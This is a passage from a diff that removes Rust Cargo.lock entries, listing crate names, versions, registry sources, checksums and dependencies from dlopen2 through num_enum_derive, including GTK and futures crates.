"bd0c93bb4b0c6d9b77f4435b0ae98c24d17f1c45b2ff844c6151a07256ca923b" - -[[package]] -name = "dlopen2" -version = "0.7.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e1297103d2bbaea85724fcee6294c2d50b1081f9ad47d0f6f6f61eda65315a6" -dependencies = [ - "dlopen2_derive", - "libc", - "once_cell", - "winapi", -] - -[[package]] -name = "dlopen2_derive" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f2b99bf03862d7f545ebc28ddd33a665b50865f4dfd84031a393823879bd4c54" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "dpi" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f25c0e292a7ca6d6498557ff1df68f32c99850012b6ea401cf8daf771f22ff53" -dependencies = [ - "serde", -] - -[[package]] -name = "dtoa" -version = "1.0.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dcbb2bf8e87535c23f7a8a321e364ce21462d0ff10cb6407820e8e96dfff6653" - -[[package]] -name = "dtoa-short" -version = "0.3.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cd1511a7b6a56299bd043a9c167a6d2bfb37bf84a6dfceaba651168adfb43c87" -dependencies = [ - "dtoa", -] - -[[package]] -name = "dunce" -version = "1.0.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813" - -[[package]] -name = "dyn-clone" -version = "1.0.17" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0d6ef0072f8a535281e4876be788938b528e9a1d43900b82c2569af7da799125" - -[[package]] -name = "embed-resource" -version = "2.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4e24052d7be71f0efb50c201557f6fe7d237cfd5a64fd5bcd7fd8fe32dbbffa" -dependencies = [ - "cc", - "memchr", - "rustc_version", - "toml 0.8.2", - "vswhom", - "winreg", -] - -[[package]] -name = "embed_plist" -version = "1.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4ef6b89e5b37196644d8796de5268852ff179b44e96276cf4290264843743bb7" - -[[package]] -name = "encoding_rs" -version = "0.8.34" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b45de904aa0b010bce2ab45264d0631681847fa7b6f2eaa7dab7619943bc4f59" -dependencies = [ - "cfg-if", -] - -[[package]] -name = "equivalent" -version = "1.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" - -[[package]] -name = "erased-serde" -version = "0.4.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "24e2389d65ab4fab27dc2a5de7b191e1f6617d1f1c8855c0dc569c94a4cbb18d" -dependencies = [ - "serde", - "typeid", -] - -[[package]] -name = "fdeflate" -version = "0.3.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d8090f921a24b04994d9929e204f50b498a33ea6ba559ffaa05e04f7ee7fb5ab" -dependencies = [ - "simd-adler32", -] - -[[package]] -name = "field-offset" -version = "0.3.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "38e2275cc4e4fc009b0669731a1e5ab7ebf11f469eaede2bab9309a5b4d6057f" -dependencies = [ - "memoffset", - "rustc_version", -] - -[[package]] -name = "flate2" -version = "1.0.34" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a1b589b4dc103969ad3cf85c950899926ec64300a1a46d76c03a6072957036f0" -dependencies = [ - "crc32fast", - "miniz_oxide", -] - -[[package]] -name = "fluent-uri" -version = "0.1.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17c704e9dbe1ddd863da1e6ff3567795087b1eb201ce80d8fa81162e1516500d" -dependencies = [ - "bitflags 1.3.2", -] - -[[package]] -name = "fnv" -version = "1.0.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" - -[[package]] -name = "foreign-types" -version = "0.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d737d9aa519fb7b749cbc3b962edcf310a8dd1f4b67c91c4f83975dbdd17d965" -dependencies = [ - "foreign-types-macros", - "foreign-types-shared", -] - -[[package]] -name = "foreign-types-macros" -version = "0.2.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a5c6c585bc94aaf2c7b51dd4c2ba22680844aba4c687be581871a6f518c5742" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "foreign-types-shared" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aa9a19cbb55df58761df49b23516a86d432839add4af60fc256da840f66ed35b" - -[[package]] -name = "form_urlencoded" -version = "1.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" -dependencies = [ - "percent-encoding", -] - -[[package]] -name = "futf" -version = "0.1.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "df420e2e84819663797d1ec6544b13c5be84629e7bb00dc960d6917db2987843" -dependencies = [ - "mac", - "new_debug_unreachable", -] - -[[package]] -name = "futures-channel" -version = "0.3.31" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" -dependencies = [ - "futures-core", -] - -[[package]] -name = "futures-core" -version = "0.3.31" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" - -[[package]] -name = "futures-executor" -version = "0.3.31" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f" -dependencies = [ - "futures-core", - "futures-task", - "futures-util", -] - -[[package]] -name = "futures-io" -version = "0.3.31" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" - -[[package]] -name = "futures-macro" -version = "0.3.31" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "futures-sink" -version = "0.3.31" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" - -[[package]] -name = "futures-task" -version = "0.3.31" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" - -[[package]] -name = "futures-util" -version = "0.3.31" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" -dependencies = [ - "futures-core", - "futures-io", - "futures-macro", - "futures-sink", - "futures-task", - "memchr", - "pin-project-lite", - "pin-utils", - "slab", -] - -[[package]] -name = "fxhash" -version = "0.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c" -dependencies = [ - "byteorder", -] - -[[package]] -name = "gdk" -version = "0.18.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f5ba081bdef3b75ebcdbfc953699ed2d7417d6bd853347a42a37d76406a33646" -dependencies = [ - "cairo-rs", - "gdk-pixbuf", - "gdk-sys", - "gio", - "glib", - "libc", - "pango", -] - -[[package]] -name = "gdk-pixbuf" -version = "0.18.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "50e1f5f1b0bfb830d6ccc8066d18db35c487b1b2b1e8589b5dfe9f07e8defaec" -dependencies = [ - "gdk-pixbuf-sys", - "gio", - "glib", - "libc", - "once_cell", -] - -[[package]] -name = "gdk-pixbuf-sys" -version = "0.18.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3f9839ea644ed9c97a34d129ad56d38a25e6756f99f3a88e15cd39c20629caf7" -dependencies = [ - "gio-sys", - "glib-sys", - "gobject-sys", - "libc", - "system-deps", -] - -[[package]] -name = "gdk-sys" -version = "0.18.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "31ff856cb3386dae1703a920f803abafcc580e9b5f711ca62ed1620c25b51ff2" -dependencies = [ - "cairo-sys-rs", - "gdk-pixbuf-sys", - "gio-sys", - "glib-sys", - "gobject-sys", - "libc", - "pango-sys", - "pkg-config", - "system-deps", -] - -[[package]] -name = "gdkwayland-sys" -version = "0.18.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a90fbf5c033c65d93792192a49a8efb5bb1e640c419682a58bb96f5ae77f3d4a" -dependencies = [ - "gdk-sys", - "glib-sys", - "gobject-sys", - "libc", - "pkg-config", - "system-deps", -] - -[[package]] -name = "gdkx11" -version = "0.18.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "db2ea8a4909d530f79921290389cbd7c34cb9d623bfe970eaae65ca5f9cd9cce" -dependencies = [ - "gdk", - "gdkx11-sys", - "gio", - "glib", - "libc", - "x11", -] - -[[package]] -name = "gdkx11-sys" -version = "0.18.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fee8f00f4ee46cad2939b8990f5c70c94ff882c3028f3cc5abf950fa4ab53043" -dependencies = [ - "gdk-sys", - "glib-sys", - "libc", - "system-deps", - "x11", -] - -[[package]] -name = "generic-array" -version = "0.14.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" -dependencies = [ - "typenum", - "version_check", -] - -[[package]] -name = "getrandom" -version = "0.1.16" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" -dependencies = [ - "cfg-if", - "libc", - "wasi 0.9.0+wasi-snapshot-preview1", -] - -[[package]] -name = "getrandom" -version = "0.2.15" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7" -dependencies = [ - "cfg-if", - "libc", - "wasi 0.11.0+wasi-snapshot-preview1", -] - -[[package]] -name = "gimli" -version = "0.31.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "07e28edb80900c19c28f1072f2e8aeca7fa06b23cd4169cefe1af5aa3260783f" - -[[package]] -name = "gio" -version = "0.18.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d4fc8f532f87b79cbc51a79748f16a6828fb784be93145a322fa14d06d354c73" -dependencies = [ - "futures-channel", - "futures-core", - "futures-io", - "futures-util", - "gio-sys", - "glib", - "libc", - "once_cell", - "pin-project-lite", - "smallvec", - "thiserror", -] - -[[package]] -name = "gio-sys" -version = "0.18.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "37566df850baf5e4cb0dfb78af2e4b9898d817ed9263d1090a2df958c64737d2" -dependencies = [ - "glib-sys", - "gobject-sys", - "libc", - "system-deps", - "winapi", -] - -[[package]] -name = "glib" -version = "0.18.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "233daaf6e83ae6a12a52055f568f9d7cf4671dabb78ff9560ab6da230ce00ee5" -dependencies = [ - "bitflags 2.6.0", - "futures-channel", - "futures-core", - "futures-executor", - "futures-task", - "futures-util", - "gio-sys", - "glib-macros", - "glib-sys", - "gobject-sys", - "libc", - "memchr", - "once_cell", - "smallvec", - "thiserror", -] - -[[package]] -name = "glib-macros" -version = "0.18.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0bb0228f477c0900c880fd78c8759b95c7636dbd7842707f49e132378aa2acdc" -dependencies = [ - "heck 0.4.1", - "proc-macro-crate 2.0.2", - "proc-macro-error", - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "glib-sys" -version = "0.18.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "063ce2eb6a8d0ea93d2bf8ba1957e78dbab6be1c2220dd3daca57d5a9d869898" -dependencies = [ - "libc", - "system-deps", -] - -[[package]] -name = "glob" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" - -[[package]] -name = "gobject-sys" -version = "0.18.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0850127b514d1c4a4654ead6dedadb18198999985908e6ffe4436f53c785ce44" -dependencies = [ - "glib-sys", - "libc", - "system-deps", -] - -[[package]] -name = "gtk" -version = "0.18.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "93c4f5e0e20b60e10631a5f06da7fe3dda744b05ad0ea71fee2f47adf865890c" -dependencies = [ - "atk", - "cairo-rs", - "field-offset", - "futures-channel", - "gdk", - "gdk-pixbuf", - "gio", - "glib", - "gtk-sys", - "gtk3-macros", - "libc", - "pango", - "pkg-config", -] - -[[package]] -name = "gtk-sys" -version = "0.18.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "771437bf1de2c1c0b496c11505bdf748e26066bbe942dfc8f614c9460f6d7722" -dependencies = [ - "atk-sys", - "cairo-sys-rs", - "gdk-pixbuf-sys", - "gdk-sys", - "gio-sys", - "glib-sys", - "gobject-sys", - "libc", - "pango-sys", - "system-deps", -] - -[[package]] -name = "gtk3-macros" -version = "0.18.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c6063efb63db582968fb7df72e1ae68aa6360dcfb0a75143f34fc7d616bad75e" -dependencies = [ - "proc-macro-crate 1.3.1", - "proc-macro-error", - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "hashbrown" -version = "0.12.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" - -[[package]] -name = "hashbrown" -version = "0.15.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1e087f84d4f86bf4b218b927129862374b72199ae7d8657835f1e89000eea4fb" - -[[package]] -name = "heck" -version = "0.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" - -[[package]] -name = "heck" -version = "0.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" - -[[package]] -name = "hermit-abi" -version = "0.3.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024" - -[[package]] -name = "hex" -version = "0.4.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" - -[[package]] -name = "html5ever" -version = "0.26.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bea68cab48b8459f17cf1c944c67ddc572d272d9f2b274140f223ecb1da4a3b7" -dependencies = [ - "log", - "mac", - "markup5ever", - "proc-macro2", - "quote", - "syn 1.0.109", -] - -[[package]] -name = "http" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "21b9ddb458710bc376481b842f5da65cdf31522de232c1ca8146abce2a358258" -dependencies = [ - "bytes", - "fnv", - "itoa 1.0.11", -] - -[[package]] -name = "http-body" -version = "1.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184" -dependencies = [ - "bytes", - "http", -] - -[[package]] -name = "http-body-util" -version = "0.1.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "793429d76616a256bcb62c2a2ec2bed781c8307e797e2598c50010f2bee2544f" -dependencies = [ - "bytes", - "futures-util", - "http", - "http-body", - "pin-project-lite", -] - -[[package]] -name = "httparse" -version = "1.9.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7d71d3574edd2771538b901e6549113b4006ece66150fb69c0fb6d9a2adae946" - -[[package]] -name = "hyper" -version = "1.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bbbff0a806a4728c99295b254c8838933b5b082d75e3cb70c8dab21fdfbcfa9a" -dependencies = [ - "bytes", - "futures-channel", - "futures-util", - "http", - "http-body", - "httparse", - "itoa 1.0.11", - "pin-project-lite", - "smallvec", - "tokio", - "want", -] - -[[package]] -name = "hyper-util" -version = "0.1.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41296eb09f183ac68eec06e03cdbea2e759633d4067b2f6552fc2e009bcad08b" -dependencies = [ - "bytes", - "futures-channel", - "futures-util", - "http", - "http-body", - "hyper", - "pin-project-lite", - "socket2", - "tokio", - "tower-service", - "tracing", -] - -[[package]] -name = "iana-time-zone" -version = "0.1.61" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "235e081f3925a06703c2d0117ea8b91f042756fd6e7a6e5d901e8ca1a996b220" -dependencies = [ - "android_system_properties", - "core-foundation-sys", - "iana-time-zone-haiku", - "js-sys", - "wasm-bindgen", - "windows-core 0.52.0", -] - -[[package]] -name = "iana-time-zone-haiku" -version = "0.1.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" -dependencies = [ - "cc", -] - -[[package]] -name = "ico" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e3804960be0bb5e4edb1e1ad67afd321a9ecfd875c3e65c099468fd2717d7cae" -dependencies = [ - "byteorder", - "png", -] - -[[package]] -name = "ident_case" -version = "1.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" - -[[package]] -name = "idna" -version = "0.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" -dependencies = [ - "unicode-bidi", - "unicode-normalization", -] - -[[package]] -name = "indexmap" -version = "1.9.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" -dependencies = [ - "autocfg", - "hashbrown 0.12.3", - "serde", -] - -[[package]] -name = "indexmap" -version = "2.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "707907fe3c25f5424cce2cb7e1cbcafee6bdbe735ca90ef77c29e84591e5b9da" -dependencies = [ - "equivalent", - "hashbrown 0.15.0", - "serde", -] - -[[package]] -name = "infer" -version = "0.16.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bc150e5ce2330295b8616ce0e3f53250e53af31759a9dbedad1621ba29151847" -dependencies = [ - "cfb", -] - -[[package]] -name = "instant" -version = "0.1.13" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e0242819d153cba4b4b05a5a8f2a7e9bbf97b6055b2a002b395c96b5ff3c0222" -dependencies = [ - "cfg-if", -] - -[[package]] -name = "ipnet" -version = "2.10.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ddc24109865250148c2e0f3d25d4f0f479571723792d3802153c60922a4fb708" - -[[package]] -name = "is-docker" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "928bae27f42bc99b60d9ac7334e3a21d10ad8f1835a4e12ec3ec0464765ed1b3" -dependencies = [ - "once_cell", -] - -[[package]] -name = "is-wsl" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "173609498df190136aa7dea1a91db051746d339e18476eed5ca40521f02d7aa5" -dependencies = [ - "is-docker", - "once_cell", -] - -[[package]] -name = "itoa" -version = "0.4.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b71991ff56294aa922b450139ee08b3bfc70982c6b2c7562771375cf73542dd4" - -[[package]] -name = "itoa" -version = "1.0.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49f1f14873335454500d59611f1cf4a4b0f786f9ac11f4312a78e4cf2566695b" - -[[package]] -name = "javascriptcore-rs" -version = "1.1.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca5671e9ffce8ffba57afc24070e906da7fc4b1ba66f2cabebf61bf2ea257fcc" -dependencies = [ - "bitflags 1.3.2", - "glib", - "javascriptcore-rs-sys", -] - -[[package]] -name = "javascriptcore-rs-sys" -version = "1.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af1be78d14ffa4b75b66df31840478fef72b51f8c2465d4ca7c194da9f7a5124" -dependencies = [ - "glib-sys", - "gobject-sys", - "libc", - "system-deps", -] - -[[package]] -name = "jni" -version = "0.21.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a87aa2bb7d2af34197c04845522473242e1aa17c12f4935d5856491a7fb8c97" -dependencies = [ - "cesu8", - "cfg-if", - "combine", - "jni-sys", - "log", - "thiserror", - "walkdir", - "windows-sys 0.45.0", -] - -[[package]] -name = "jni-sys" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130" - -[[package]] -name = "js-sys" -version = "0.3.72" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a88f1bda2bd75b0452a14784937d796722fdebfe50df998aeb3f0b7603019a9" -dependencies = [ - "wasm-bindgen", -] - -[[package]] -name = "json-patch" -version = "2.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5b1fb8864823fad91877e6caea0baca82e49e8db50f8e5c9f9a453e27d3330fc" -dependencies = [ - "jsonptr", - "serde", - "serde_json", - "thiserror", -] - -[[package]] -name = "jsonptr" -version = "0.4.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1c6e529149475ca0b2820835d3dce8fcc41c6b943ca608d32f35b449255e4627" -dependencies = [ - "fluent-uri", - "serde", - "serde_json", -] - -[[package]] -name = "keyboard-types" -version = "0.7.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b750dcadc39a09dbadd74e118f6dd6598df77fa01df0cfcdc52c28dece74528a" -dependencies = [ - "bitflags 2.6.0", - "serde", - "unicode-segmentation", -] - -[[package]] -name = "kuchikiki" -version = "0.8.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f29e4755b7b995046f510a7520c42b2fed58b77bd94d5a87a8eb43d2fd126da8" -dependencies = [ - "cssparser", - "html5ever", - "indexmap 1.9.3", - "matches", - "selectors", -] - -[[package]] -name = "lazy_static" -version = "1.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" - -[[package]] -name = "libappindicator" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "03589b9607c868cc7ae54c0b2a22c8dc03dd41692d48f2d7df73615c6a95dc0a" -dependencies = [ - "glib", - "gtk", - "gtk-sys", - "libappindicator-sys", - "log", -] - -[[package]] -name = "libappindicator-sys" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6e9ec52138abedcc58dc17a7c6c0c00a2bdb4f3427c7f63fa97fd0d859155caf" -dependencies = [ - "gtk-sys", - "libloading", - "once_cell", -] - -[[package]] -name = "libc" -version = "0.2.160" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0b21006cd1874ae9e650973c565615676dc4a274c965bb0a73796dac838ce4f" - -[[package]] -name = "libloading" -version = "0.7.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b67380fd3b2fbe7527a606e18729d21c6f3951633d0500574c4dc22d2d638b9f" -dependencies = [ - "cfg-if", - "winapi", -] - -[[package]] -name = "libredox" -version = "0.1.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c0ff37bd590ca25063e35af745c343cb7a0271906fb7b37e4813e8f79f00268d" -dependencies = [ - "bitflags 2.6.0", - "libc", -] - -[[package]] -name = "lock_api" -version = "0.4.12" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17" -dependencies = [ - "autocfg", - "scopeguard", -] - -[[package]] -name = "log" -version = "0.4.22" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24" - -[[package]] -name = "mac" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4" - -[[package]] -name = "malloc_buf" -version = "0.0.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb" -dependencies = [ - "libc", -] - -[[package]] -name = "markup5ever" -version = "0.11.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7a2629bb1404f3d34c2e921f21fd34ba00b206124c81f65c50b43b6aaefeb016" -dependencies = [ - "log", - "phf 0.10.1", - "phf_codegen 0.10.0", - "string_cache", - "string_cache_codegen", - "tendril", -] - -[[package]] -name = "matches" -version = "0.1.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5" - -[[package]] -name = "memchr" -version = "2.7.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3" - -[[package]] -name = "memoffset" -version = "0.9.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a" -dependencies = [ - "autocfg", -] - -[[package]] -name = "mime" -version = "0.3.17" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" - -[[package]] -name = "miniz_oxide" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e2d80299ef12ff69b16a84bb182e3b9df68b5a91574d3d4fa6e41b65deec4df1" -dependencies = [ - "adler2", - "simd-adler32", -] - -[[package]] -name = "mio" -version = "1.0.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "80e04d1dcff3aae0704555fe5fee3bcfaf3d1fdf8a7e521d5b9d2b42acb52cec" -dependencies = [ - "hermit-abi", - "libc", - "wasi 0.11.0+wasi-snapshot-preview1", - "windows-sys 0.52.0", -] - -[[package]] -name = "muda" -version = "0.15.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b8123dfd4996055ac9b15a60ad263b44b01e539007523ad7a4a533a3d93b0591" -dependencies = [ - "crossbeam-channel", - "dpi", - "gtk", - "keyboard-types", - "objc2", - "objc2-app-kit", - "objc2-foundation", - "once_cell", - "png", - "serde", - "thiserror", - "windows-sys 0.59.0", -] - -[[package]] -name = "ndk" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c3f42e7bbe13d351b6bead8286a43aac9534b82bd3cc43e47037f012ebfd62d4" -dependencies = [ - "bitflags 2.6.0", - "jni-sys", - "log", - "ndk-sys", - "num_enum", - "raw-window-handle", - "thiserror", -] - -[[package]] -name = "ndk-context" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "27b02d87554356db9e9a873add8782d4ea6e3e58ea071a9adb9a2e8ddb884a8b" - -[[package]] -name = "ndk-sys" -version = "0.6.0+11769913" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ee6cda3051665f1fb8d9e08fc35c96d5a244fb1be711a03b71118828afc9a873" -dependencies = [ - "jni-sys", -] - -[[package]] -name = "new_debug_unreachable" -version = "1.0.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086" - -[[package]] -name = "nodrop" -version = "0.1.14" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72ef4a56884ca558e5ddb05a1d1e7e1bfd9a68d9ed024c21704cc98872dae1bb" - -[[package]] -name = "num-conv" -version = "0.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9" - -[[package]] -name = "num-traits" -version = "0.2.19" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" -dependencies = [ - "autocfg", -] - -[[package]] -name = "num_enum" -version = "0.7.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4e613fc340b2220f734a8595782c551f1250e969d87d3be1ae0579e8d4065179" -dependencies = [ - "num_enum_derive", -] - -[[package]] -name = "num_enum_derive" -version = "0.7.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af1844ef2428cc3e1cb900be36181049ef3d3193c63e43026cfe202983b27a56" -dependencies = [ - "proc-macro-crate 2.0.2", - "proc-macro2", 